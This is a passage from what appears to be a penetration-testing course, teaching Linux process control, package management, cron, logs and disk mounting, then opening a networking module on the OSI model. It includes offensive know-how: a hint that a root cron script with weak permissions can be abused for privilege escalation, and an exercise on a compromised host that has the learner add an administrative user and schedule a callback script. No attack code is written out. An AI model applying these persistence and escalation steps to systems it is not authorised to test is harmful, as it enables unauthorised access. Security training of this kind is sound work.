a single job. Job control[49]^,[50]
refers to the ability to selectively suspend the execution of jobs and
resume their execution at a later time.
When jobs are running in the foreground, the terminal is occupied
and no other commands can be executed until the current one finishes.
Up until this point, all or most of the commands we have run have
finished within a very short period, almost instantly. However, in
some cases, the execution can take much longer. We can send those
jobs to the background to regain control of the terminal and execute
additional commands.
The quickest way to background a process is to append an ampersand
(&) to the end of the command to send it to the background
immediately after it starts. Let's try a brief example.
kali@kali:~$ ping -c 400 localhost > ping_results.txt &
Listing 19 - Backgrounding a job right after
it starts
In Listing 19, we sent 400 ICMP echo requests
to the local interface with the ping command and wrote the
results to a file called pingresults.txt. We'll learn more
about ICMP and _ping in the networking Module. For now, notice that
the inclusion of the "&" symbol causes execution to automatically run
in the background, leaving the shell free for additional operations.
If we had not supplied the "&" symbol, the command would have
run in the foreground, and we would be forced to either cancel the
command with C+c, wait until the command finishes
to regain control of the terminal, or suspend the job using
C+z after it has already started.
Suspending a job pauses it until it is told to resume. Once a job
has been suspended, we can resume it in the background by using the
bg command:
kali@kali:~$ ping -c 400 localhost > ping_results.txt
^Z
[1]+ Stopped ping -c 400 localhost > ping_results.txt
kali@kali:~$ bg
[1]+ ping -c 400 localhost > ping_results.txt
kali@kali:~$
Listing 20 - Using bg to background a job
Here, we started the job and then suspended it. The "^Z" character
represents the keystroke combination C+z.This
allows us to continue using the terminal as we wish. Next, we used
bg to resume the job.
Suspending jobs can be very useful, but we need to keep in mind that
some processes are time sensitive and may give incorrect results if
left suspended for too long. For instance, in the ping example, the
echo reply may come back but if the process is suspended when the
packet comes in, the process may miss it, leading to incorrect output.
Always consider the context of what the commands you are running are
doing when engaging in job control.
To quickly check on the status of our ICMP echo requests, we need to
make use of two additional commands: jobs and fg.
The built-in jobs utility lists the jobs that are running in
the current terminal session, and fg returns a job to the
foreground. These commands are shown in action below:
kali@kali:~$ ping -c 400 localhost > ping_results.txt
^Z
[1]+ Stopped ping -c 400 localhost > ping_results.txt
kali@kali:~$ find / -name sbd.exe
^Z
[2]+ Stopped find / -name sbd.exe
kali@kali:~$ jobs
[1]- Stopped ping -c 400 localhost > ping_results.txt
[2]+ Stopped find / -name sbd.exe
kali@kali:~$ fg %1
ping -c 400 localhost > ping_results.txt
^C
kali@kali:~$ jobs
[2]+ Stopped find / -name sbd.exe
kali@kali:~$ fg
find / -name sbd.exe
/usr/share/windows-resources/sbd/sbd.exe
Listing 21 - Using jobs to look at jobs and fg to
bring one into the foreground
Here we started one job and suspended it, and then we started another
job and suspended that as well. When we ran the jobs command,
the output showed our two commands. We moved the first one to the
foreground with fg %1, where %1 indicates the ping
job. We can use a shortcut to terminate a long-running process and
regain control of the terminal. That was the case here, where we ended
the ping job with C+c. The "^C" character
shows this action.
From there, we can run jobs again, but this time it only shows
the find command we suspended. We can restart this job by running
fg.
There are various ways to refer to a job in the shell. The "%"
character followed by a JobID represents a job specification. The
JobID can be a PID number or we can use one of the following symbol
combinations:
-
%Number : Refers to a job number such as %1 or %2.
-
%String : Refers to the beginning of the suspended command's name
such as %commandNameHere or %ping. -
%+ OR %% : Refers to the current job.
-
%- : Refers to the previous job.
Note that if only one process has been backgrounded, the job number is
not needed.
One of the most useful commands to monitor processes on mostly any
Unix-like operating system is ps[51] (short for process
status). Unlike the jobs command, ps lists processes system-wide,
not only for the current terminal session. This utility is considered
a standard on Unix-like OSes and its name is so well-recognized that
even on Windows PowerShell, ps is a predefined command alias for the
Get-Process cmdlet, which essentially serves the same purpose.
As a penetration tester, one of the first things to check after
obtaining remote access to a system is to understand what software is
currently running on the compromised machine. This could help us
elevate our privileges or collect additional information to
acquire further access into the network.
As an example, let's start the Mousepad text editor and then try to
find its PID from the command line by using the ps command.
kali@kali:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 10:18 ? 00:00:02 /sbin/init
root 2 0 0 10:18 ? 00:00:00 [kthreadd]
root 3 2 0 10:18 ? 00:00:00 [rcu_gp]
root 4 2 0 10:18 ? 00:00:00 [rcu_par_gp]
root 5 2 0 10:18 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 10:18 ? 00:00:00 [kworker/0:0H-kblockd]
root 7 2 0 10:18 ? 00:00:00 [kworker/u256:0-events_unbound
root 8 2 0 10:18 ? 00:00:00 [mm_percpu_wq]
root 9 2 0 10:18 ? 00:00:00 [ksoftirqd/0]
root 10 2 0 10:18 ? 00:00:00 [rcu_sched]
...
Listing 22 Common ps syntax to list all the processes
currently running
We used two options here. The first (e) selects all
processes. The second (f) displays the full format listing (UID, PID,
PPID, etc.)
Finding our Mousepad application in that massive listing is definitely
not easy, but since we know the application name we are looking for,
we can replace the -e switch with -C (select by
command name).
kali@kali:~$ ps -fC mousepad
UID PID PPID C STIME TTY TIME CMD
kali 1307 938 0 10:57 ? 00:00:00 mousepad
Listing 23 - Narrowing down our search by specifying the
process name
In Listing 23, the process search has returned a single
result from which we gathered Mousepad's PID. It's worth spending some
time exploring the man page for the ps command (man ps).
If we master it, ps can become a very effective tool for process
management.
Let's say we now want to stop the Mousepad process without interacting
with the GUI. The kill command can help us here, as its purpose is
to send a specific signal[52] to a process. To
use kill, we need the PID of the process we want to send the
signal to. From the previous listing, we know the PID is 1307.
kali@kali:~$ kill 1307
kali@kali:~$ ps aux | grep mousepad
kali 1313 0.0 0.0 6144 888 pts/0 S+ 10:59 0:00 grep mousepad
Listing 24 - Stopping mousepad by sending the
SIGTERM signal
Because the default signal for kill is SIGTERM (request termination), our
application has been terminated. This has been verified in the example by
using ps after killing Mousepad.
File and Command Monitoring
This Learning Unit covers the following Learning Objectives:
- Understand the value of monitoring files and commands
- Monitor log files changes with tail
- Monitor command activities with watch
It is extremely valuable to know how to monitor files and commands in
real-time during a penetration test. Two commands that help with such
tasks are tail[53] and watch.[54]
The most common use of tail is to monitor log file entries
as they are being written. For example, we may want to monitor the
Apache logs to determine if a web server is being contacted by a given
client that we are attempting to attack via a client-side exploit.
Let's examine this practical example to understand how we might use
tail.
kali@kali:~$ sudo tail -f /var/log/apache2/access.log
127.0.0.1 - - [02/Feb/2021:12:18:14 -0500] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
127.0.0.1 - - [02/Feb/2021:12:18:14 -0500] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://127.0.0.1/" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
127.0.0.1 - - [02/Feb/2021:12:18:15 -0500] "GET /favicon.ico HTTP/1.1" 404 500 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
Listing 25 - Monitoring the Apache log file using tail command.
The -f option (follow) is very useful as it continuously
updates the output as the target file grows. Another convenient switch
is -n X, which outputs the last "X" number of lines, instead
of the default value of 10.
The watch command is used to run a designated command at
regular intervals. By default, it runs every two seconds, but we can
specify a different interval by using the -n X option to
have it run every "X" number of seconds. For example, this command
will list logged-in users (via the w command) once every 5
seconds.
kali@kali:~$ watch -n 5 w
............
Every 5.0s: w kali: Tue Jan 23 21:06:03 2021
21:06:03 up 7 days, 3:54, 1 user, load average: 0.18, 0.09, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
kali tty2 :0 16Jan18 7days 16:29 2.51s /usr/bin/python
Listing 26 - Monitoring logged in users using the
watch command.
To terminate the watch command and return to the interactive terminal
we can use C+c.
Linux Applications
This Learning Unit covers the following Learning Objectives:
- Understand the Advanced Package Tool manager
- Search APT repositories for packages
- Update package repositories on a Linux system
- Install a Linux application with apt
- Remove a Linux application with apt
- Install a Linux application with dpkg
In this Learning Unit, we will be exploring the Advanced Package
Tool (APT) toolset as well as other commands that can be used to
search for, install, or remove applications.
APT is a set of tools that helps manage packages, or applications,
on Ubuntu, Debian, and related Linux distributions. Since
Kali[55] is based on Debian,[56] we can use
APT to install and remove applications, update packages, and even
upgrade the entire system.
There are many advantages to using APT. Put simply, many
applications rely on multiple libraries to function. These
libraries, which are pre-compiled functions, routines, classes,
and so on, can be quite large and are often shared between multiple
applications. For example, if we have version 1.7 of a certain library
installed, but our application requires version 2.0 of that same
library, our application won't function. These relationships can
become increasingly complex and result in what is colloquially known
as dependency hell.[57] The greatest benefit of APT is that
it can recursively satisfy requirements and dependencies, keeping us
out of trouble.
Like any other official program or tool in Linux-based systems, APT
has a manual that we can explore by entering man apt on the
command line.
kali@kali:~$ man apt
APT(8)
NAME
apt - command-line interface
SYNOPSIS
apt [-h] [-o=config_string] [-c=config_file] [-t=target_release] [-a=architecture] {list | search | show | update |
install pkg [{=pkg_version_number | /target_release}]... | remove pkg... | upgrade | full-upgrade | edit-sources |
{-v | --version} | {-h | --help}}
DESCRIPTION
apt provides a high-level commandline interface for the package management system. It is intended as an end user interface and enables
some options better suited for interactive usage by default compared to more specialized APT tools like apt-get(8) and apt-cache(8).
Much like apt itself, its manpage is intended as an end user interface and as such only mentions the most used commands and options
partly to not duplicate information in multiple places and partly to avoid overwhelming readers with a cornucopia of options and
details.
update (apt-get(8))
update is used to download package information from all configured sources. Other commands operate on this data to e.g. perform
package upgrades or search in and display details about all packages available for installation.
upgrade (apt-get(8))
upgrade is used to install available upgrades of all packages currently installed on the system from the sources configured via
sources.list(5). New packages will be installed if required to satisfy dependencies, but existing packages will never be removed. If
an upgrade for a package requires the removal of an installed package the upgrade for this package isn't performed.
Manual page apt(8) line 1 (press h for help or q to quit)
...
Listing 27 - Reading the apt manual
The apt tool has a number of options, arguments, and
functions, but we'll continue by experimenting a bit with the most
common ones.
Information regarding APT packages is cached locally to speed up any
sort of operation that involves querying the APT database. Therefore,
it is always good practice to update the list of available packages,
including information related to their versions, descriptions, etc. We
can do this with the apt update command. We will need to run
this with sudo so that we have the proper permissions.
kali@kali:~$ sudo apt update
[sudo] password for kali:
Hit:1 http://kali.mirror.globo.tech/kali kali-rolling InRelease Reading package lists... Done
Building dependency tree
Reading state information... Done
699 packages can be upgraded. Run 'apt list --upgradable' to see them.
Listing 28 - Using apt update
After the APT database has been updated, we can upgrade the installed
packages and core system to the latest versions using the apt
upgrade command. Again, we have to use sudo for this
operation.
To upgrade a single package, we add the package name
after the apt upgrade command such as apt upgrade
metasploit-framework.
The apt-cache search command displays much of the information
stored in the internal cached package database. For example, let’s
say we would like to install the pure-ftpd application via
APT. The first thing we have to do is to find out whether or not the
application is present in the Kali Linux repositories. To do so, we
pass the search term on the command line.
kali@kali:~$ apt-cache search pure-ftpd
mysqmail-pure-ftpd-logger - real-time logging system in MySQL - Pure-FTPd traffic-logg pure-ftpd - Secure and efficient FTP server
pure-ftpd-common - Pure-FTPd FTP server (Common Files)
pure-ftpd-ldap - Secure and efficient FTP server with LDAP user authentication pure-ftpd-mysql - Secure and efficient FTP server with MySQL user authentication pure-ftpd-postgresql - Secure and efficient FTP server with PostgreSQL user authentica resource-agents - Cluster Resource Agents
Listing 29 - Using apt-cache search
The output indicates that the application is present in the
repository. There are also a few authentication extensions for the
pure-ftpd application that may be installed if needed.
Interestingly, the resource-agents package is showing up in our
search even though its name does not contain the "pure-ftpd" keyword.
This is because apt-cache looks for the requested keyword in the
package's description rather than the package name itself.
To confirm that the resource-agents package description does
contains the "pure-ftpd" keyword, we can pass the package name to
apt show as follows.
kali@kali:~$ apt show resource-agents Package: resource-agents
Version: 1:4.2.0-2
...
Description: Cluster Resource Agents
This package contains cluster resource agents (RAs) compliant with the Open Cluster Framework (OCF) specification, used to interface with various services in a High Availability environment managed by the Pacemaker resource manager.
.
Agents included:
AoEtarget: Manages ATA-over-Ethernet (AoE) target exports AudibleAlarm: Emits audible beeps at a configurable interval ...
NodeUtilization: Node Utilization
Pure-FTPd : Manages a Pure-FTPd FTP server instance
Raid1: Manages Linux software RAID (MD) devices on shared storage
Listing 30 - Using apt show
The output of Listing 30 clarifies why the resource-agents
application was mysteriously showing up in Listing 29.
The apt install command can be used to add a package to
the system by providing the package name. Let’s continue with the
installation of pure-ftpd.
kali@kali:~$ sudo apt install pure-ftpd
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed: pure-ftpd-common
The following NEW packages will be installed: pure-ftpd pure-ftpd-common
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded. Need to get 309 kB of archives.
After this operation, 880 kB of additional disk space will be used. Do you want to continue? [Y/n] y
Get:1 http://kali.mirror.globo.tech/kali kali-rolling/main amd64 pure-ftpd-common all Get:2 http://kali.mirror.globo.tech/kali kali-rolling/main amd64 pure-ftpd amd64 1.0.4 Fetched 309 kB in 4s (86.4 kB/s)
Preconfiguring packages ...
Listing 31 - Using apt install
Note the confirmation request that happens during this operation.
We can also remove a package with the command apt remove
--purge, which completely removes packages from a Linux-based
system. It is important to note that removing a package with apt
remove removes all package data, but leaves usually small
(modified) user configuration files behind, in case the removal
was accidental. Adding the --purge option removes all
leftovers.
kali@kali:~$ sudo apt remove --purge pure-ftpd
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required: pure-ftpd-common
Use 'sudo apt autoremove' to remove it. The following packages will be REMOVED:
pure-ftpd*
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 581 kB disk space will be freed.
Do you want to continue? [Y/n] y
(Reading database ... 388024 files and directories currently installed.)
Removing pure-ftpd (1.0.47-3) ...
Cannot find cached rlinetd's config files for service ftp, ignoring remove request Processing triggers for man-db (2.8.5-2) ...
(Reading database ... 388011 files and directories currently installed.)
Purging configuration files for pure-ftpd (1.0.47-3) ...
Processing triggers for systemd (240-6) ...
Listing 32 - Using apt remove
Again there is an additional prompt to confirm that we want to remove
pure-ftpd, and then we can to completely delete the
program from our Kali machine.
The apt autoremove command helps with removing package
dependencies that are not needed anymore. This can happen as a result
of installing a package and then removing it, where its dependencies
remain on the system.
dpkg is the core tool used to install a package, either directly
or indirectly through APT. It is also the preferred tool to use when
operating offline, since it does not require an Internet connection.
Note that dpkg will not install any dependencies that the package
might require.
To install a package with dpkg, we need to provide the
-i or --install option and the path to the
.deb package file. This assumes that the .deb file
of the package to install has been previously downloaded or obtained
in some other way.
kali@kali:~$ sudo dpkg -i man-db_2.7.0.2-5_amd64.deb
(Reading database ... 86425 files and directories currently installed.)
Preparing to unpack man-db_2.7.0.2-5_amd64.deb ...
Unpacking man-db (2.7.0.2-5) over (2.7.0.2-4) ...
Setting up man-db (2.7.0.2-5) ...
Updating database of manual pages ...
Processing triggers for mime-support (3.58) ...
...
Listing 33 - Using dpkg -i to install the man-db
application
Scheduled Tasks
This Learning Unit covers the following Learning Objectives:
- Understand cron
- List and find scheduled jobs
- Schedule future tasks
The Linux-based job scheduler is known as Cron. Cron makes it
possible to schedule the execution of tasks. These tasks are usually
commands and scripts associated with system maintenance.
Scheduled tasks are listed under the /etc/cron.*
directories, where "*" represents the frequency the task will run
on. For example, tasks that will be run daily can be found under the
/etc/cron.daily directory. Each script is listed in its own
subdirectory.
kali@kali:~$ ls -lah /etc/cron*
-rw-r--r-- 1 root root 1.1K Feb 10 2020 /etc/crontab
/etc/cron.d:
total 36K
drwxr-xr-x 2 root root 4.0K Feb 17 12:56 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rw-r--r-- 1 root root 201 Mar 20 2020 e2scrub_all
-rw-r--r-- 1 root root 607 Sep 13 2019 john
-rw-r--r-- 1 root root 712 May 11 2020 php
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
-rw-r--r-- 1 root root 396 Jul 14 2020 sysstat
/etc/cron.daily:
total 64K
drwxr-xr-x 2 root root 4.0K Mar 2 10:56 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rwxr-xr-x 1 root root 539 Apr 2 2019 apache2
-rwxr-xr-x 1 root root 1.5K Jul 8 2020 apt-compat
-rwxr-xr-x 1 root root 255 Jun 22 2020 calendar
-rwxr-xr-x 1 root root 157 Dec 13 2017 debtags
-rwxr-xr-x 1 root root 1.3K Jan 26 10:08 dpkg
-rwxr-xr-x 1 root root 377 Apr 8 2020 logrotate
-rwxr-xr-x 1 root root 1.1K Jul 5 2020 man-db
-rwxr-xr-x 1 root root 628 Dec 2 2020 mlocate
-rwxr-xr-x 1 root root 1.4K Mar 10 2020 ntp
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
-rwxr-xr-x 1 root root 383 Jul 4 2020 samba
-rwxr-xr-x 1 root root 518 Aug 27 2020 sysstat
/etc/cron.hourly:
total 20K
drwxr-xr-x 2 root root 4.0K Sep 1 2020 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
/etc/cron.monthly:
total 24K
drwxr-xr-x 2 root root 4.0K Sep 1 2020 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
-rwxr-xr-x 1 root root 144 Jun 5 2013 rwhod
/etc/cron.weekly:
total 24K
drwxr-xr-x 2 root root 4.0K Mar 2 10:56 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rwxr-xr-x 1 root root 813 Jul 5 2020 man-db
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
kali@kali:~$
Listing 34 - Listing all cron jobs on Linux
Reading from the bottom, we note that man-db runs weekly and rwhod
runs monthly. There are no programs that run hourly, but there are
quite a few tasks scheduled to run daily.
It is worth noting that system administrators often add their own
scheduled tasks in the /etc/crontab file. These tasks should
be inspected carefully[58] for insecure file permissions
as most jobs in this particular file will run as root.
kali@kali:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
5 0 * * * root /var/scripts/user_backups.sh
#
kali@kali:~$
Listing 35 - Reading /etc/crontab
Listing 35 reveals a backup script running as root.
If this file has weak permissions, we may be able to leverage this to
escalate our privileges.
Logs
This Learning Unit covers the following Learning Objectives:
- Understand Linux log files
- Recall where to find log files on a Linux system
- Read logs with journalctl
As an information security professional, it is important to be
familiar with where and how logs are stored. In response to a security
breach, we can use logs to reconstruct events and understand what
happened and when.
Perhaps as an indication of how important these log files are, many
of them cannot be read without root permissions. As a result, when
interacting with these files, we will often need to use sudo.
Most Unix-like systems, as well as services running on them, produce
logs within the /var/log directory.
kali@kali:~$ ls -l /var/log
total 2544
-rw-r--r-- 1 root root 2911 Jul 7 08:33 alternatives.log
drwxr-x--- 2 root adm 4096 Jun 23 15:04 apache2
drwxr-xr-x 2 root root 4096 Jul 7 08:31 apt
-rw-r----- 1 root adm 5444 Jul 7 13:39 auth.log
-rw------- 1 root root 0 Jun 25 14:39 boot.log
-rw-rw---- 1 root utmp 0 Jul 7 08:25 btmp
-rw-r----- 1 root adm 41195 Jul 7 13:39 daemon.log
-rw-r----- 1 root adm 1157 Jul 7 08:40 debug
-rw-r--r-- 1 root root 156531 Jul 7 08:34 dpkg.log
-rw-r--r-- 1 root root 32032 Jun 23 15:07 faillog
-rw-r--r-- 1 root root 5692 Jun 23 15:05 fontconfig.log
...
Listing 36 - Reviewing our list of log files
Many of these logs are plain text files and can be read with any
application able to display the contents of a file. We'll use the
tail command to show the three most recent additions to
auth.log, a log file that stores all authentication attempts.
Since the file is in /var/log/, we'll need to add the
absolute path.
kali@kali:~$ sudo tail -3 /var/log/auth.log
Jul 7 14:01:38 kali sudo: pam_unix(sudo:session): session closed for user root
Jul 7 14:01:48 kali sudo: kali : TTY=pts/0 ; PWD=/home/kali ; USER=root ; COMMAND=/usr/bin/tail -3 /var/log/auth.log
Jul 7 14:01:48 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
Listing 37 - Reading the last few lines of auth.log
Since we ran this command with sudo, we can observe the
authentication that occurred when we ran the command in the log
itself.
There are also log files that store information in a special
structure. One example of a log file with a special structure is
/var/log/wtmp,[59] which keeps a record about all login,
logout, and runlevel[60] change events. This file can be
processed by the last[61] and who[62] commands,
for example.
Since the wtmp log file can become quite long, we'll pipe the
output to tail -5 and only read the last five entries.
kali@kali:~$ who /var/log/wtmp | tail -5
robert tty7 2021-07-03 09:46 (:0)
nichole tty7 2021-07-03 11:53 (:0)
kali tty7 2021-07-06 08:04 (:0)
robert tty7 2021-07-06 15:09 (:0)
kali tty7 2021-07-07 14:03 (:0)
Listing 38 - checking who has logged in to this machine
This log shows several users, including our kali user, logging in to
the computer for several days.
In addition to the logs we've reviewed already, we can also find logs
for other types of events. For example, the kernel emits messages
that it stores in a ring buffer whenever something interesting
happens (such as a new USB device being inserted, a failing hard disk
operation, or initial hardware detection on boot). We can retrieve the
kernel logs with the dmesg command.
Finally, systemd also stores multiple logs (stdout/stderr output
of services, syslog messages, kernel logs) and makes it easy to query
them with journalctl.
Without any arguments, journalctl will dump all the available
logs chronologically. With the -r option, it will reverse
the order so that newer messages are shown first. With the -f
option, journalctl will continuously print new log entries as
they are appended to its database. Finally, the -u option can
limit the messages to those emitted by a specific systemd unit. For
example, we could dump available logs pertaining to ssh.service with
journalctl -u ssh.service.
Logs are also an excellent troubleshooting tool. When some command
or action fails, logs can help us understand why the unexpected
phenomenon is happening.
During the following exercises we are going to get familiar with the
above mentioned tools. Some exercises might depends on an additional
options. The available options and their descriptions can be displayed
by providing the --help option to the command.
Disk Management
This Learning Unit covers the following Learning Objectives:
- Identify free memory space
- Identify hard drive memory utilization
- Read partition tables with fdisk
- Mount external drives
The most prevalent tools to interact with disks and filesystems
are free, dd, du, df, and
mount.
The free command displays information on memory. We can use
either the -m or -g options, to display the data in
mebibytes or in gibibytes,[63] respectively.
kal@kali:~$ free -m
total used free shared buff/cache available
Mem: 1982 425 269 3 1287 1369
Swap: 974 15 959
Listing 39 - Using the free command to check information on memory
df[64] (which stands for "disk free") reports on the
available disk space on each of the disks mounted in the file system.
Its -h option (for human readable) converts the sizes into a
more legible unit - usually mebibytes or gibibytes.
kali@kali:~$ df -h
Filesystem Size Used Avail Use% Mounted on
udev 958M 0 958M 0% /dev
tmpfs 199M 1.2M 198M 1% /run
/dev/sda1 19G 10G 7.7G 57% /
tmpfs 992M 8.0K 992M 1% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 199M 68K 199M 1% /run/user/1000
Listing 40 - Using the df command to check disk space
There are a few other commands and options we can use as well.
One of the key differences between Linux and other OSs, is that in
Linux we have to mount a filesystem before we can use it. Since
Linux systems have a single directory tree, if we were to insert a USB
drive (for example), we would need to create an associated location
somewhere in that tree. Creating that associated location is called
mounting.
The mount[67] command can be used to display the currently
mounted filesystems and their types. It can also be used to mount
partitions or image disk files to a mount point.
Let's run the mount command with the -t option
to show a certain type of mounted filesystem. In this case, we'll
display the partitions formatted as ext4, which is the journaling file
system[68] for this machine.
kali@kali:~$ mount -t ext4
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro)
kali@kali:~$
Listing 41 - Using the mount command to display a mounted filesystem
Let's take this a step further and mount a USB drive. Since this
example involves a physical object in the form of a USB drive,
following along in this section may not be as straightforward as it is
in other sections of this Module.
Once we've inserted the USB drive, we'll need to run fdisk
with sudo privileges to gain some information about the drive
we just inserted.
kali@kali:~$ sudo fdisk -l
[sudo] password for kali:
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xb31f280c
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 39942143 39940096 19G 83 Linux
/dev/sda2 39944190 41940991 1996802 975M 5 Extended
/dev/sda5 39944192 41940991 1996800 975M 82 Linux swap / Solaris
Disk /dev/sdb : 980 MiB, 1027604480 bytes, 2007040 sectors
Disk model: TD Classic 003C
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5381b121
Device Boot Start End Sectors Size Id Type
/dev/sdb1 * 32 2007039 2007008 980M b W95 FAT32
Listing 42 - Using fdisk to gain details about our USB drive.
The first part of the output, with 20 GiB of memory, is our local
machine. We also observe another disk listed here with 980 MiB of
memory. This is our USB drive. We'll also note the device location,
which is /dev/sdb1. This will come in handy later.
To continue, let's create a directory. It's common to use the
already existing /mnt directory for this, so we'll create a
subdirectory called /usb. Next, we'll run the mount
command and provide the location of the device as well as the
associated location on our directory tree. We can get the location
of the device, /dev/sdb1, from the output in Listing
42.
kali@kali:~$ sudo mkdir /mnt/usb
kali@kali:~$ sudo mount /dev/sdb1 /mnt/usb
kali@kali:~$ cd /mnt/usb
kali@kali:/mnt/usb$ ls -la
total 2100
drwxr-xr-x 3 root root 4096 Dec 31 1969 .
drwxr-xr-x 3 root root 4096 Jul 8 11:12 ..
-rwxr-xr-x 1 root root 817959 Feb 16 10:45 IMG_3396.jpg
-rwxr-xr-x 1 root root 739123 Feb 16 10:45 IMG_3794.jpg
-rwxr-xr-x 1 root root 426757 Feb 16 10:45 IMG_5042.jpg
-rwxr-xr-x 1 root root 130553 Feb 18 2019 Info.hex
Listing 43 - Mounting the USB drive and checking its contents
We successfully mounted our USB drive and once we navigate to the
location in the directory tree, we can check the contents of the
drive. The drive appears to be a series of pictures and an interesting
looking Info.hex file.
Finally, let's unmount the drive. Note that if we try to
unmount it from our current location, we'll run into an
error. We can quickly resolve this by changing directories and running
the command again.
kali@kali:/mnt/usb$ sudo umount /mnt/usb
umount: /mnt/usb: target is busy .
kali@kali:/mnt/usb$ cd ~
kali@kali:~$ sudo umount /mnt/usb
kali@kali:~$
Listing 44 - Unmounting the USB drive.
The command runs successfully and our USB drive is unmounted.
Linux Basics I & II: Cumulative Exercise
This Learning Unit has the following Learning Objectives:
- Demonstrate competency with file searching
- Demonstrate competency with user administration
- Demonstrate competency with file system manipulation
- Demonstrate competency with task scheduling
This is a cumulative exercise that requires you to employ the
understanding and skills you have gained in the Linux Basics I & II
Modules to complete a set of objectives.
Scenario: You have gained initial access to a target Linux machine
during a penetration test. You now need to search for user files to
find anything that might help you gain additional access. Once you've
done this, you will need create an additional administrative user and
schedule a periodic backup callback script in case you lose access to
the machine.
Networking Fundamentals
In this Module, we will cover the following Learning Units:
- The OSI Model
- The TCP/IP Model
- Network Protocols
- Data Packets and Analysis - I
- Data Packets and Analysis - II
- TCP/IP Helper Protocols
- Useful Network Technologies
Each learner moves at their own pace, but this Module should take
approximately 11 hours to complete.
Computer Networks[69] are a vital part of our everyday life. It is
important for penetration testers and other security professionals
to familiarize themselves with the basic concepts and building blocks
of computer networks. This is because the act of hacking a target or
set of targets usually (though not always) begins at the only place
an attacker has access: their own remote machine. From there, they
often need to use and abuse their understanding of networks to gather
information, discover vulnerabilities and weaknesses, and ultimately
gain remote access to their target.
A solid understanding of networking can also help testers with the
administrative side of penetration testing. For example, during a
pricing and scoping meeting for a security assessment, it is essential
that the client and the tester can describe and agree upon exactly
what parts of a network should, and should not, be tested.
In this Module, we will begin with describing the OSI[70] and
TCP/IP[71] conceptual models as well as the difference between
stateful and stateless connections. We'll also spend some time on the
TCP three-way handshake concept of network traffic.
Once we've done that, we'll describe the basic concept of network
traffic and analyze packet captures[72] with tools like Wireshark
and Tcpdump.
Finally, we'll learn about useful networking technologies, including
routing tables, firewalls, Network Address Translation (NAT), and
Virtual Private Networks (VPNs).
The OSI Model
This Learning Unit covers the following Learning Objectives:
- Understand the difference between a conceptual network model and a
physical implementation - Recall the seven layers of the OSI network model
- Begin to understand the concept of encapsulation
This Learning Unit will take approximately 60 minutes.
Since networking is a fairly complex topic, it helps to distinguish
between how networks might be designed in theory versus how they are
implemented in the real world.
A network model is a conceptual framework that helps us understand
how we could organize communication between different devices.
Studying network models can give us a high-level understanding of what
computers are doing across networks even though, in practice, physical
implementations are not so clearly defined. Once we understand network
models, we can implement various network protocols,[73] which
describe how two or more entities (in this case, machines) should
communicate in practice.
There are two main reference models which describe how to connect
multiple devices. These two reference models are the OSI model
(Open Systems Interconnection) and the TCP/IP model. These
conceptual models can help security professionals understand where
different security controls are (or are not) installed.
The OSI reference model was introduced in 1983 as a standard by
the International Standards Organization (ISO). The standard is
called "ISO 7498-1" and its main purpose was to enable different
manufacturers and software companies to produce devices and programs
that can communicate with each other.
OSI defines seven "layers", where each layer is only concerned with
its immediate predecessor. At each layer, various protocols can be
defined, which establish deterministic rules for different kinds
of communication. For each layer, we'll learn about its theoretical
responsibility, a few of the activities that tend to happen on it in
practice, and its Protocol Data Unit (PDU).[74]
A PDU is the unit of information that is transmitted at a certain
layer. Note that some activities are not necessarily layer-dependent.
For example, flow control, the function of making sure information
gets to its intended destination, can be implemented at several layers
(especially layers 2 to 4).
Layer 7: At the very top of the model, the Application Layer
defines how a human or software can interact with a network. It's
